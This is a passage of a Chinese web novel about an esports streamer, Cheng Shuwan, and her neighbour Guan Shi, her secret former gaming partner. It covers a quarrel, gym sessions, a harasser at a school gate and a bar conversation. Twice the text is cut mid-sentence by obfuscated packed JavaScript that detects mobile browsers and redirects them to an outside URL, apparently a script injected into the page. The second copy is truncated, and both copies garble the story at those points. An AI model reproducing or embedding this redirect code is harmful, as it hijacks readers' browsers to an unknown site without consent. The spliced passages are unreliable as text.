程舒晚看了眼静悄悄的手机,又看了眼观众列表的“点点天时”,一时间顽劣心起,“白狸的脸?当然欣赏,谁不爱帅哥。” 她就不信那个醋罐子能沉得住气。 “哈哈哈哈承认了!小鬼姐你见异思迁!” “男神哥哭晕在直播间哈哈哈!” “二更天!二更天你搭子不要你啦!快来啊!偷家啦!” “男神哥回来也没用哈哈他打不过白狸!” 弹幕一水的玩闹笑话,但关时那家伙跟嘎了一样没有跳出来说酸话,程舒晚这会儿真有点疑惑了,猜想他大概只是挂着直播没看,于是很快把话题重新收拢回来。 “你们男神哥当年也是一区的风云人物,”她说,“当时双排车队胜率榜单我们没掉出过前二十,他真不一定打不过白狸。” “主播,牛逼不要吹那么大啊!” “这又不是1V1游戏,”程舒晚笑了声,“真要打不过,我给二更天当技术支持。” “???” “二打一是吧!” “想来大家没忘记小鬼姐上次跟南来打得五五开……” “这就是绝对宠溺吗?” “我还以为男神哥没说话是气晕了,原来是从容啊!” “霸道游戏主播爱上我,敬请期待!” 弹幕有一搭没一搭地聊闲话,程舒晚半躺在椅子里等第二局比赛,突然,弹幕刷上去一条醒目的话。 “若真有那么一天主播理应站在白狸那边,二更天就算以前再厉害,现在对主播的事业也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364917|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么帮助。” ? 程舒晚眼皮睁开来,正要看看谁还有他妈的那个胆子在她直播间找事,看到ID之后突然沉默。 说这话的是点点天时。 是关时。 看到这个ID,程舒晚脑子里第一个想法是,原来这家伙在看啊。 第二个想法是。 这家伙知道自己在说什么吗? 她没发话,拆了颗薄荷硬糖含着,让嘴巴找点事做不至于脱口而出脏话。 “榜一大哥你这话就不对了昂,”弹幕这会儿也站到了程舒晚这边,“男神哥节目效果那么好我们超爱看的诶。” “富哥你别拆我cp呜呜呜!” “扛起小鬼姐男神哥的大旗!一流女野王和她的工具人中单杀穿战场!” 弹幕叽叽喳喳,很快就把点点天时那句暴论刷了上去,但很快,他又发了一条。 “主播很强,二更天不是那么厉害的人,不值得她那么喜欢。” 嘎嘣一声,程舒晚把糖咬碎了。 她拿起手机打开关时的聊天窗口,宛若戳碎屏幕般打下两个字。 “闭嘴。” 发出去后她把手机扔到旁边,没控制力道哐一声震响,把直播间吓了一跳。 她不能理解。 关时是不是被夺舍了,为什么会说这样的话? 他对七八年前的自己到底哪来的那么大恶意? 总不能单纯想要恶作剧报复她的逗弄吧? 他有病? 随着她沉默的发泄,关时收到信号非常有眼力见地缄言,观众们这才说着各种安抚的话转移话题。 “抱歉,大家,刚刚没控制住。”程舒晚意识到自己的失态,重新缓和情绪转移话题,“小插曲,不要紧,我们看看第二局吧。” 狐队拿下第一局之后气势很足,每一场都打得很快,后面把新人辅助队员重新换上场之后也没有乱阵脚,最终4-1拿下今晚的比赛。 直播结束才接近十点半,程舒晚跟观众又聊了一会儿,眼下没有其他安排于是早早下播。 下班前最后的工作是整理今天的直播数据。程舒晚前身是程序员,为自己直播做了个数据抓取和分析的程序,省去了很多功夫,只要归档记录就行。早点结束工作早点休息,明天还要早起呢。 她打字的手一顿。 明天早起,是因为要跟关时去健身房。 想到关时这人今天晚上一系列乱七八糟的事情,一阵无名火刷地窜满胸口,她寒着脸以鬼见了都要绕道走的怨气整理完资料,身后突然传来轻微的开门声。 嚯。 用屁股猜都知道是谁。 程舒晚没回头去管那家伙,自顾自保存资料上传,关闭程序,一切工作结束后才站起身来。 房间的门虚掩着,关时站在门缝外,手还按在门把上,瞧见她转身来,这才开口:“舒……” 程舒晚没等他说完话就啪地把灯关了,拉开门往外走,显然不想理他。 “等下。”关时跟着扭过头。 程舒晚还未走出门,手腕突然被一把攥住,关时已经一步横在她面前,高大的身形挡住了走廊上的灯光,将她堵在门里。 程舒晚:“走开。” 关时:“不要。” 程舒晚:“……” 她不耐地移开目光凉笑一声,“关老板把顾客堵在这儿,有碍观瞻。” “你不是顾客。”关时说。 他突然扣住程舒晚的肩膀欺身笼罩过来,双手发力强硬地把她推回漆黑的房间,腿一勾,哐地把门踢上了。 程舒晚猝不及防被推进黑暗之中,举目皆盲,只能感受到手腕和肩膀隔着衣料传递过来的体温,还有男人近在咫尺的呼吸声。 心里那点窝火瞬间攀到顶峰,但很快又在这种环境下被紧张和害怕取代,程舒晚喉咙发紧,忐忑地把手攥了起来。 关时按在她手腕上的手指动了,往下探到她的手掌。 程舒晚浑身一僵。 下一秒,攥紧的掌缝被温热的手穿进,一根手指一根手指地把她的拳头掰开。 “别用力。”头顶关时的声音很轻,“你手没有好全。” 45. 放学 就像是某种安全词,紧张的气氛一下子缓和下来,按在肩上的手也松开,关时重新打开了包间的灯。 灯光下,程舒晚微微垂眸,咬着舌尖一言不发。 “刚刚我惹你生气了,对不对?”关时轻声说。 沉默。 “我知道二更天对你来说很有分量,”他斟酌着解释,“我不是故意说他的不是。” 沉默。 “我只是觉得你那么有野心和实力,你能结识到很多优秀选手,能跟他们较量,”关时喉结动了动,“不必把时间……” ——不必把时间浪费在一个七年前的幻影身上。 不必,浪费在我身上。 我不值得你垂怜,不值得你注视,不值得你喜欢。 你只要,专注你的事业就好。 他没说出这些话,因为程舒晚突然掀开眼皮,紧紧地盯住了他。 “关时。”程舒晚平静地开了口,“你是站在什么立场上跟我说这些话,甲方?老板?邻居?还是朋友?” 关时的手指下意识蜷了蜷。 立场。 是啊。 这些话,不管是哪种身份都不该说,他也不该替她做什么决定,除非坦言自己就是二更天。 ……可是二更天就可以了吗? 在程舒晚的目光下,关时掐着自己的手,几次张嘴但都归于沉默,最后只垂眸轻声说了声:“对不起。” 程舒晚深吸一口气,原地蹲下,平静又崩溃地把手指埋进头发里。 对不起。 哈哈,对不起。 怂货。 怂得没边。 关时跟着在她面前蹲下来,“舒晚……” “别喊我。”程舒晚抱着脑袋。 关时把手轻轻搭在她肩上,“对不起,我……” “别他妈的对不起,你没有哪点对不起我。”程舒晚拍开他的手,“是我贱,面都没见过的网友记了七八年放不下,贱到不知道对方是什么人就盲目相信,是我不该在最艰难的年纪遇到他,是我不该率先失约,是我的错,跟你他妈屁关系没有,你他妈的别道歉。” 她说完似是缺氧地停顿几秒,然后慢慢把头重新埋下去。 关时想安抚,又怕惹她难过,被拍开的手落在空处凝固许久迟迟没有动作。 半晌沉默。 “是他。” 程舒晚的声音从手臂后闷闷地传来。 关时终于在犹豫和纠结的间隙找到个可以顺应的话,轻轻嗯了声。 “一开始像狗皮膏药黏上来的是他,一声不吭消失的也是他,朋友成群,来去自如,多他妈的潇洒。” 程舒晚抬起头。 “可是我呢?我呢关时?” “我就这样被丢掉了吗?” 关时哑然望着她。 程舒晚的眼睛没有发红,没有眼泪,质问也很平静,却像是锋利的剑,刺破时间望向遥远的年少的他。 但只倒映出他此刻的沉默和狼狈。 “关时,”程舒晚轻声说,“我已经等了七年了,不在乎多等一会儿。” “你别劝我,也别践踏我。” 她突然觉得好没意思。 关时尚且不知道她早已发现,她现在的控诉又有什么意义呢。 程舒晚站起身准备开门出去,逃离这个让她感到尴尬的地方,但手腕再一次被关时攥住。 这家伙从头到尾除了动手动脚啥都没干,她有点恼火想甩开,但手腕被猛的一拉扯了个踉跄,后背撞上男人的胸膛,紧接着腰际被圈了个满怀。 就这么被关时从背后抱在怀里。 从后背传来的暖意发烫,但他的手却冰凉。程舒晚完全蒙住了,思绪尚且还在“你马勒戈壁能不能懂点礼貌”和“打击有这么大吗这手都凉得能给隔夜菜保鲜了”之间没来得及决高下,关时已经一触即走地松开手,往后退开。 程舒晚莫名其妙地扭头看他,关时微微低着头,纤长的眼睫在眼底投下一片晦暗的阴影,满怀歉意的目光落在她眼睛里,铺开一层不知名的悲伤和……哀求。 “原谅我。”他说,“别就这么走了。” 程舒晚盯着他没说话。 “我要下班。”她最后还是叹了口气,“不走我去哪。” “一块走。”关时说。 “嗯。”程舒晚偏开视线。 ……狡猾的男人。 从网咖到小区的这段夜路两人几乎每天一起走,聊聊直播的数据,八卦和平日的趣事。但今天谁都没说话,哪怕是提出一起走的关时也没有起话题,一路沉默到单元门口。 电梯上行,他终于打破了沉默,“舒晚。” 程舒晚抬眼看他。 关时深吸一口气,随后露出熟悉的微笑来,“今天发生的事,我向你道个歉,以后不会再犯。” 程舒晚:“你……” “我知道你有疑问,但给我点时间。”他轻声打断她,“等我。” 程舒晚看他。 “好。”她说。 到五楼了,电梯门打开,关时出门回身来挥手,仿佛什么都没有发生过一般笑得灿烂,“明天早上我喊你起床,记得听电话。” 程舒晚:“嗯。” 电梯门缓缓合上,热情洋溢的青年身影消失在视野之外,程舒晚垂下视线,心情却好不起来。 她在苛责什么呢。 搬来红枫小区这么久,程舒晚第一次走进小区对面不远那家健身房,在关时奇妙的人脉和社交技巧下成功白嫖了一个教练的体验课,进行为期两天的体能训练。 程舒晚清楚要激活自己这具僵尸身体需要多么沉重的代价,可是当结束训练在地上死狗一样瘫着时,还是对“用力活着”这四个字有了更加深刻的理解。 比拿MVP难多了。 身边蹲下来一个人,程舒晚抬眸看,关时刚结束负重训练,脸上的汗水熠熠发光,跟他的笑一样。 “如何?坚持得下去吗?”他的话听起来像是嘲讽。 程舒晚哪能让他看不起,深吸一口气从地上爬起来,“当然。” 体验课结束后她办了张长期卡,继游戏搭子之后,正式成为关时的健身搭子。 搭子依然笑眯眯的,热情又妥帖地给她讲解器材,搭配菜单,悄摸儿地分享健身房里熟客们的八卦,一如既往阳光开朗。 但越是如此,程舒晚就越会想起那日的争执。 关时顾虑说不出口的到底是什么呢? 在她的印象里,年少的二更天恣意开朗,众星捧月,不论是厉害的对手还是恶心人的猪队友,又或者是离散的人心、崩溃的对局,都没有能难倒他的。 那样骄傲潇洒的少年人。 她不知道的事情……到底有多少? 早上健身,下午做视频,晚上直播,日子在忽上忽下的气温里悄摸儿溜达过去,空气开始稳定燥热起来。 南方的这座老城市迎来了夏季。 这天周五,程舒晚结束了排位准备下播,二更天游戏私聊窗口发来消息,告知自己周六要加班,晚上不上线直播。 “好。”程舒晚装模作样回答,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这青年身上罩着件松垮的T恤和水洗到褪色的牛仔裤,微微佝背,流里流气地蹲踩在花圃边沿上。喊完这句话之后却也没再看程舒晚,好像只是发表感慨一样,并不理会她的道歉。 怪不得这儿人少,这神经兮兮的家伙往这儿一蹲就自带结界,方圆两米无人靠近。 只是程舒晚也懒得再去寻找新的位置,就往旁边挪了两步,眼不见为净地摸出手机,低头浏览最近的游戏赛事资讯。 CPL季前赛的赛程过半,热门夺冠队伍、新晋黑马、俱乐部大换血、处于磨合期的队伍,每家都有话题可聊。还有好些对于程舒晚来说无比熟悉的职业选手,也挨个点进去看看他们的近况。 自从退网之后她几乎没有再跟之前的圈子有联系,但网络上哪儿都有他们的身影,她想不知道都难。 大家混得似乎都还不错,或许也就她,二十五六的年岁了还从头再走一遍这条路。 真是疯了……程舒晚笑了下,听见放学的铃声响起,遂收起手机抬头望向校门,没过多长时间就从鱼贯而出的学生里看见那道明媚的身影。 关星玥和关时不愧为亲兄妹,在一大片统一着装的学生里,她的脸蛋儿依然像是沙堆中的玛瑙石,一晃一晃发着光,不由自主就能吸引所有人的视线。程舒晚抬手招了招,刚迈开腿,脚还没落下去,身边突然窜出去一道人影。 嗯? 程舒晚定睛一看,只见刚刚还蹲在花圃边上的瘦小青年突然出现在前边,逆着人流三两步钻到关星玥跟前。关星玥猝不及防被逼停脚步,疑惑地朝他的脸投去目光。 下一刻,她脸上闪过错愕和慌乱,随后一把推开了青年埋头就走。 程舒晚心里一紧,觉察不太对劲,连忙快步走过去。 还没走到近前,瘦小青年突然伸手拽住了关星玥的书包,语气着急,“玥玥,你等等……” 他话还没说完,关星玥猛然转身狠狠推他一把。 “别碰我!”她尖叫。 46. 密谋 校门口人山人海,关星玥这一嗓子惹得周围学生和家长都投来目光扎在瘦小青年身上,惹得他动作僵硬片刻。程舒晚见缝插针一步跨过来,拽起背上健身用的背包抡圆了砸向青年。 背包拉链抽在青年脸颊上瞬间留了个红印,他嗷地惨叫一声连连后退。程舒晚趁机把关星玥拉到自己身后,戒备地盯着瘦小青年。 腰间的衣摆被抓得紧紧的,关星玥很紧张。程舒晚一下火气上来了,伸手指着青年,面若寒霜,“你干什么?” “又是你?”瘦小青年搓着脸,看来是疼极了,“我干什么了你总拿包创我?” “少骚扰我妹。”程舒晚预拨报警电话,“滚开。” “你……”青年瞪大眼睛,脸都忘了搓,“你妹?” 他的目光震惊地下移到关星玥脸上,但很快被程舒晚侧身拦截。青年好似从她这个动作里看明白什么,嘴角扯了扯,露出一个讨好的笑来。 “误会了,误会了姐姐。”他说,“你是时哥的女朋友吧?” ? 这还有关时的事? “玥玥,跟姐姐解释一下,”青年见程舒晚没做回答,又着急得差点去抓关星玥,“我只是想跟你聊聊,我们找个地方说清楚好吗?不要在这儿……” 关星玥垂着眼皮看都不带看他,伸手竖了个中指。 青年急了:“诶你……” “她不想聊。”程舒晚晃了晃手机,手机上是即将拨通报警电话的界面,“提醒你,这儿是校门口,学生家长保安都在,现在立刻离开。” 青年张了张嘴,脸上露出为难的神色。 “是我不对,玥玥,我不该出现在这儿。”他双手攥拳微微佝着,带着脸上的红印和满脸的乞求,“但我真的走投无路了,我没办法……” “我不在乎你怎么样。”关星玥说,“我不想看到你。” 关星玥油盐不进,青年又找救星地朝程舒晚投去目光,就差给她跪下了,“姐姐,嫂子,求你,求你跟时哥说两句好话……” 在他提到“时哥”时,程舒晚察觉到关星玥手里力道突然加重,仿佛要把她衣摆揪掉一般,于是出声打断青年:“我要报警了。” 好话说尽还是没能攻破对方的防御,青年终于泄气,转身灰溜溜离开。待他走远,程舒晚终于放下手机,偏头笑:“腰要给你勒断了。” “哦哦。”关星玥这才后知后觉,松手放过了程舒晚的衣服,“程姐姐你怎么来了呀。” 小姑娘一扫刚刚紧张兮兮的模样,仰着脖子露出笑嘻嘻的甜妹脸,程舒晚差点就给她晃过去了,拉着她的手往人群外走,“饿不饿?” “嗯!”关星玥重重点了个头。 “先去餐厅。”程舒晚一边往外走一边说。 关星玥“哦”了声,小心翼翼问:“姐你脸好臭,是不是在生气?” “你说呢?”程舒晚回头轻轻飘她一眼,“我该笑?” 关星玥:“……” 程舒晚:“他之前找过你吗?” “没,今天第一次。”关星玥摇摇头,“姐,别告诉我哥。” “那你路上想想措辞,等会儿给我解释解释。”程舒晚说,“我现在不能答应。” “……” 两人去了附近一家有点格调的大众西餐厅,之前程舒晚和谭婧来这儿吃过一次,味道意外地和装模作样的装潢相匹配。 关星玥把菜单前前后后翻了一遍,挑了个最基础款的沙朗牛排:“姐我要吃这个。” 程舒晚扫了点餐码:“嗯。” 关星玥:“这一顿是我哥出钱吗?是的话我要再点个双球雪糕。” 程舒晚:“好。” 下单之后,关星玥慢慢地伸了个懒腰,撑着下巴,透过落地玻璃往外看。程舒晚没有催促,只是靠在卡座沙发里,抱着手臂盯着她的脸。 “他叫郭楷。”关星玥说。 “嗯。”程舒晚答应一声。 “比我哥小三四岁,我以前管他叫楷哥。”关星玥轻声说,“和胜哥一样。他们以前是……朋友。” 程舒晚:“他们?” “嗯。”关星玥把手放下,冲程舒晚笑了下,“我哥是他们的老大。” 程舒晚:“……” 好吧,猜得出来。 但真的听到这么中二的一句话还是有点好笑。 “后来不是了。”关星玥说,“楷哥……郭楷,他跟我哥之间有梁子。不可调和那种。” 程舒晚:“他来找你干什么?” “可能有话想跟我哥说,但不敢直接找他吧。”关星玥笑了,“程姐姐不用管他,他看着像个混混,其实就是个懦夫。只是如果我哥知道他来找我,可能会变得很麻烦。” 程舒晚看着关星玥。 “为什么?”她问,“不能说得更清楚些?” 只有这些信息的话,她拿不准要怎么解决。 关星玥摇摇头。“已经是很久之前的事情了,不是什么好事,不必影响姐姐的心情。” 很显然她并不想说。 服务员端着两份牛排来了,伴随着铁板上酱汁的滋啦声和“请慢用”的退场,程舒晚慢慢抬起视线,“那我问最后一个问题吧。” 关星玥:“你问。” “你说的这些事,是七年前吗?” “……”关星玥放在桌子底下的手悄然握紧,半晌轻轻点头。 程舒晚深吸一口气,昂头盯着天花板。 关时从《封神图录》消失,手上留下的伤疤,还有今天突然出现的郭楷。 她极力控制思绪往不好的地方延伸过去,但越是如此,脑子里越是浮现出上次和关时那次争执,他落寞悲伤的眼神像是烙铁,轻轻一碰就在她心脏上烫出一块伤痕。 她没办法不去想。 当年到底发生了什么。 “程姐姐。”关星玥再次郑重说道,“别告诉我哥。” “……嗯。”程舒晚感觉嗓子眼儿干得像是糊了沙子,咳嗽了声,“但之后你放学,我都要来接你。” 关星玥很懂事地应答:“好。” 程舒晚这顿饭吃得心不在焉,把关星玥送回家之后她和关时发消息报了声平安,接着就去木吉网咖准备录游戏素材。刚在电脑前坐下,她在转椅上摊了片刻,摸出手机给苏新胜发消息。 “问你个事,方便电话么?” 虽然答应关星玥不告诉关时,但没说不能问苏新胜。 可惜等了好一会儿苏新胜都没有回复,这酒鬼估计白天醒不了,程舒晚便也先不耗着了,放下手机开始工作。 “小鬼叉烧”这个主播账号运作两个月积累了一万多粉丝,勉勉强强能有点收入。程舒晚不怀疑自己的水平和直播质量,若是提高关注度的话手里也有不少牌可以打,但都不太方便。 若非必要,她并不想惊动那些已经没了联系的旧友。 忙碌一下午,眼瞅着就快到开播时间,程舒晚出门简单解决了晚饭,一边往回走消食一边刷游播社的资讯,手机突然弹出了微信电话。 是苏新胜。 草。 程舒晚对这时隔五六个小时才回消息,而且一回就是回电话的家伙感到震惊,愣了两秒接通起来,“喂?” “是我是我晚姐,诶不好意思,下午忙着。”苏新胜说,“要问啥?还来得及不?” “来得及。”程舒晚道,“你这会儿一个人?” “这会儿是一个人。”苏新胜笑嘻嘻道,“在店里呢,要过来喝酒不?一会儿……” 程舒晚:“你认识郭楷吗?” 此言一出,刚刚还嬉皮笑脸的声音戛然而止,随后是长久的,沉闷的,寂静。 程舒晚捏着手机站在路边的晚风里,一言不发。 “你怎么知道的这名?”苏新胜问。 程舒晚觉得不太妙:“我想问问这人跟你们……” “谁告诉你的郭楷这名字?”苏新胜加重咬字重复了一遍。 他突如其来的打断让程舒晚哑然。 “玥玥没说具体的事情,也让我别跟关时说。”她绕了半个圈子说道,“我得了解清楚,你是我第一个能想到的人。” 手机那边又是沉寂。 “那个混账东西,”苏新胜道,“去找玥玥了?” 他还是自己猜出来了……程舒晚没否认,“嗯”了声。 “草他妈了隔壁!”苏新胜突然吼了一声,给程舒晚吓一震,“他妈的狗东西还有脸!草!” “大新,告诉我发生了什么。”程舒晚道。 苏新胜那边传来断断续续的声音,估计是在抓耳挠腮平复心情,好半晌才出来人声:“不不不,晚姐,这事儿你别管,你也别知道,我来处理就好。” “你要怎么处理?”程舒晚问,“偷偷去把人揍一顿?” 苏新胜哽住。 看来他真的是这么想的。 “你们不能一个个都说这人不好却不告诉我为什么。”程舒晚平静说道,“有纠纷就解决纠纷,实在不行就走法律途径,我可以帮忙。” “不不不,晚姐,这儿的人没有那么文明。”苏新胜说道,“郭楷这人不是 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“……” 苏新胜:“你明天有空?见个面我跟你细说吧,电话里不方便。” “好。” 挂断电话之后,程舒晚站在路边半晌没动,直到悠悠的凉风吹过后颈,她才猛然搓了下胳膊,手心一片冰凉,心跳又急又重。 钱。 她闭上眼,脑子里浮现出的却是蒋慧玲和程国鑫的脸。 记忆一下子晃回十多年前读小学的时候,当时同学借她一本漫画书,她写完作业在房间里看得入迷,没注意到上夜班回家的母亲拧开她的房门,下一秒,火辣辣的巴掌就挨到她脸上。 蒋慧玲当时骂了什么她已经不记得了,印象深刻的是她工作连轴转一个星期熬出来的黑眼圈,尖声的大叫,还有发泄完之后无声的沉默,随即抱着她的痛哭。 还记得她最后说的那句话。 “晚晚,你和你哥长大之后一定要挣大钱,妈妈不想过苦日子了。” 程舒晚不知道为什么会突然想起这么久远的事情,只觉得犯恶心。 穷本身并不滋生恶,但恶会因穷而暴露无遗。哪怕从程舒恒和她考上重点大学、有了体面工作之后就没亏待过父母,他们依然能把一切弄糟。 而关时,玥玥,姚婉婷不同,程舒晚相信哪怕是最难熬的时刻,他们也绝不会主动去伤害谁。 对了……程舒晚深吸气睁开眼,拿起手机重新给苏新胜拨了回去。 关时把车停在Echo酒吧外的停车场,刚推门而入就被文艺复兴艺术浓度超标的空气呛住,环视一圈没看见苏新胜,便往吧台走去。 苏新胜这个大大咧咧的家伙尤其钟爱各种晦涩抽象的艺术品,明明自己都看不懂,却硬要把酒吧打造成艺术画廊,喝酒的顾客们还吃这套,生意居然挺不错。 吧台后边的调酒师姑娘抬眼望见关时,眉眼弯弯地打了声招呼,“关时哥,听老板说你今天帮咱谈下一笔大投资啊。” “你们老板就是实诚,什么都不瞒着。”关时热络地笑笑,“他人呢?” “在A03等你呢。” “好。”关时穿过大厅朝角落走去。 A03是个卡座,桌上摆了几瓶酒水,但苏新胜却不见人影,估计是去洗手间了。关时在卡座沙发上坐下,突然听见微信电话的铃声。 他偏过头,苏新胜的手机就放在桌上被那几瓶酒挡着。 就算是自家酒吧,也太松懈了吧。关时腹诽正欲收回目光,视线扫过手机屏幕上的来电头像,猛然顿住。 熟悉的简笔画月亮图案,是程舒晚打来的电话。 程舒晚给苏新胜打电话?聊什么? 关时像是被按了暂停一般,目光紧紧固定在苏新胜的手机屏幕上,在“难道聊我吗还是他们一直私底下有联系”和“窥探不道德我应该装傻等之后再问老苏”两个念头之间摇摆十秒,还是伸手摸过去,按下了接通,放到耳边。 “忘记说了,大新。”通话里,他绝不会认错的声音穿过话筒传过来,凉丝丝的,却比平日急躁些,“记得别跟关时说。” 关时:“……” 噢。 居然还是个日后谈。 他一时半会儿没说话,程舒晚又问了声:“喂?大新?” “咳。”关时轻轻扯了扯嗓子,“背着我,密谋啊?” 程舒晚:“……” 程舒晚:“?” 47. 斗殴 程舒晚准备给苏新胜颁发一个“大魔术师”的称号,这家伙玩儿得一手大变活人啊。 谁能解释一下为什么接电话的是关时! 无言也不是办法,程舒晚硬着头皮挤出来一句:“你在啊。” “我不能在?”关时揶揄。 “苏新胜呢?” “老苏去洗手间了。今天帮老苏谈了生意,晚上在他这儿对细节,外加庆功。” 程舒晚回了点神,“哦,那你们继续,我……” “你们在密谋什么?”关时撤回她的临阵脱逃,“我不能知道?” “……我准备上播了。”程舒晚强行突破阻拦,“一会儿再聊。” 欲盖弥彰的味道快要从手机的听筒爬出来钻入关时脑子里了,他假意大度地笑,顺着台阶走下去:“今晚直播单排?” “有场比赛,先看看。”程舒晚说。 “谁的比赛?” 程舒晚回忆,“独竞和……” 狐队。 程舒晚卡壳瞬间,关时已经意味深长问出口:“难道又是狐?” “……哦,是啊,”程舒晚故意笑了笑,“专门挑着白狸在才看的。” 关时:“……” “不逗你了。”程舒晚说,“昨晚二天请假不上线的时候我就跟观众说好的,看完比赛排位到十二点下播。” “嗯。”关时笑笑,贴心地叮嘱,“我没那么早回去,你下播回家注意安全。” “好。” 程舒晚挂断了通话,关时这才把手机放下,下意识想往上翻聊天记录,才想起来这不是自己的手机。他收拢了嘴角的弧度,面无表情地看着苏新胜手机屏保发愣。 “我草,你这么快到了?”苏新胜的声音从头顶传来,他大大咧咧地在裤子两边把手上的水擦干,一屁股滑到对面的座位上,“我还以为要塞一阵儿……” 他话没说完突然瞥见关时手上有自己的手机,瞬间哑火。 关时瞅着他没说话。 “……干什么这个表情。”苏新胜终于找回自己的嘴似的,假装不经意地嘟囔一声,“拿我手机干啥?” 关时把手机在手上一转放回他面前,“我的邻居给你打电话了。” 苏新胜:“……晚姐啊?” 关时:“不然?刘叔吗?” “草,”苏新胜解锁手机点了几下,“你接了?晚姐说什么了?” “她说,”关时往后靠在椅背上,似笑非笑,“记得别告诉关时。” 苏新胜:“……” 关时:“解释解释?” 他微微勾着唇角,眼里说不清是审视还是漫不经心,盯得苏新胜后背发凉,仿佛在说“要是撒谎你就等着完蛋吧”。 虽然是无声的威胁,但等着完蛋吧和立马完蛋,苏新胜还是分得清后果的。 晚姐就多此一举打这个电话,能不知道要瞒着关时吗。 “其实,”苏新胜咳嗽两声,也没想好摆出什么理由,嘴巴自己胡扯了一个,“晚姐是问我你想要什么生日礼物来着。” 刚说完他就想给自己一个巴掌。 关时的生日在八月份,现在才四月! 谁家好人提前三四个月问生日礼物的! 苏新胜汗流浃背地在心里快速找补,同时悄悄打量关时的表情。他脸上最初是闪过一抹错愕,随后很快陷入沉默。 嘎? “喂,”苏新胜伸手在他面前晃了晃,这反应不对啊,平时的敏锐劲儿呢,“……不高兴啊?” “哪有。”关时拍开他的手,“二哈似的整天叽叽喳喳,话多。” 苏新胜好像咂摸过味来。 哦。 只要提到晚姐,这狗就是这么丧失理智。 “二哈怎么是叽叽喳喳叫啊,文盲。”苏新胜打开桌上的酒瓶,给两人都满上酒,赶紧把这个话题盖过去,“你不是喜欢晚姐吗?不乐意人给你买礼物?” 关时拿起酒杯喝了一口,笑了,“我哪里让你觉得我喜欢她?” 苏新胜:“哪里。” 关时:“哪里?” 苏新胜:“哦,说漏了,我的意思是哪里都觉得。” 关时:“……” “少嘴硬啊,”苏新胜伸着指头给他掰扯,“你自己算,连夜在自己的地盘给人搞直播间,把人叫家里吃饭,每天送人下班回家……好,就算这些都有理由或者你本来就是个热情洋溢的家伙,那拿着早就被你扔掉的账号玩扮演游戏,这是什么理由你反驳我一个看看?” 关时看他,但也确实没说出来反驳的话。 “我说,”苏新胜道,“你要瞒到什么时候?你就是二更天这件事。” 提到这个,关时洒脱的劲儿咔嚓一下全鸟兽散,只剩下一张死硬的嘴,“再说。” “晚姐是聪明人,关狗,”苏新胜嗤笑,“别以为你什么都不说她就什么都看不出来。” 关时闷闷地“嗯”了声。 苏新胜见他这副三句话蹦不出个屁的模样不知怎么突然来了点火,坐直起来,“不儿,你到底咋想的啊,当初受伤养了大半年,我当你是遵医嘱不玩游戏,结果是搞清算,什么社交软件都注销了,手机卡都扔了,我说,当初你都没跟晚姐告别吧?她啥都不知道,你这不是把人家抛……” “闭嘴。”关时说。 苏新胜张了张嘴,愤愤地摊手,“还不给说,真的狗。” 关时沉默地把手里的整杯酒喝完。 抛……弃。 抛弃。 对。 就算他不承认,这就是事实。 七年前,他把小鬼叉烧,把他最默契的游戏搭子,把有点喜欢的网友,亲手。 抛弃了。 他记得自己是想告别的。 但最后依然一句话都没说上,他就这么走了。 苏新胜给他重新满上酒杯,过了会儿冷不丁道:“但晚姐喜欢你吧。” 关时:“……” 苏新胜:“不会要问哪里觉得她喜欢你吧?” 关时闭上眼。 “不用。”他说。 短暂插曲过后,两人聊起新投资的事情,酒一杯接一杯敲定了后续的方案。关时去了个洗手间回来,苏新胜大概是无聊了,手机屏幕开着,播放的是程舒晚的直播。 “看吗?”苏新胜把手机挪过来,“第二局打一半了。” 关时视线挪过去,《封神图录》CPL赛事的画面占据屏幕,只有左下角另一个小窗口拍摄的是程舒晚的键盘和她露出来的修长的手。 她的手细长白皙,平日打游戏时雀跃灵动,仿佛演奏的钢琴家。关时盯着看了好一会,直到比赛中白狸团战拿下双杀逆转形式,官方赛事的直播画面一转,露出他的脸。 程舒晚点评的声音响起:“白狸这次团发挥很稳,打得漂亮。” 关时下意识蹙眉,移开目光。 “狐队今年势头很足诶,”苏新胜没注意到关时的异样,侃侃而谈,“新人的状态调整得挺快的,白狸更是牛逼,喵的,我也想那么帅。” 关时没搭话,给自己倒酒。 “诶,”苏新胜看他一眼,“你是不是喝超了?” 关时拿起酒杯,“嗯。” 十五分钟前他就已经喝超过了能保持清醒的安全线。 “那别喝了。”苏新胜按下他手里的杯子,“我不想大半夜的还要弄你回去。” 关时让开他的手,言简意赅:“代驾。” “代你喵啊,你喝多了跟个木头一样话都不会说,还不是得我弄你回去,”苏新胜瞅着他,“你话已经变少了。” “嗯。” “嗯你个……”苏新胜正要强行把他手里的酒杯抢走,眼角一瞥,嘀咕了句“卧槽”。 “你看吧台。”他说。 关时侧身瞥去,不远吧台角落的位置坐着个长发齐胸的姑娘,五官出众,气质清冷,一个人在那儿垂眸看手机,手边是一杯莫吉托。 酒精上脸有点迷蒙视线,这乍一眼让关时心跳停了半拍,但很快就意识到那只是个气质与程舒晚有几分相像的姑娘而已。 “之前晚姐跟朋友来,”苏新胜说,“也喜欢坐那个位置,我差点以为她来了。” 关时正收回视线,有个人影在这时走近吧台,停在那姑娘身边。 “美女,”这是个穿着随意的男人,面相看得出只有二十来岁,一笑却满脸褶子,“加个微信?” 姑娘从手机里抬起脸来,略微震惊和不解地盯着那男人。 “……我草,”苏新胜帮那姑娘把话说出来了,“长成这样怎么好意思搭讪的?喝多了吧?” 关时没说话,只是望着那边静待发展。 姑娘是个文明人,垂眸继续看手机,没说什么攻击人的话,“我在等人。” “你等你的呗,”男人说,“跟加微信不冲突吧?” “不了。”姑娘不看他。 男人放低声音,“帮个忙嘛美女,我朋友们都看着呢,不好掉面子。” “我有男友。”姑娘的语气开始不那么好了。 “没事儿,”男人依然厚着脸皮笑嘻嘻纠缠,“交个朋友而已,别那么抗拒嘛,你这么漂亮,说不定过阵子就换男朋友啦。” 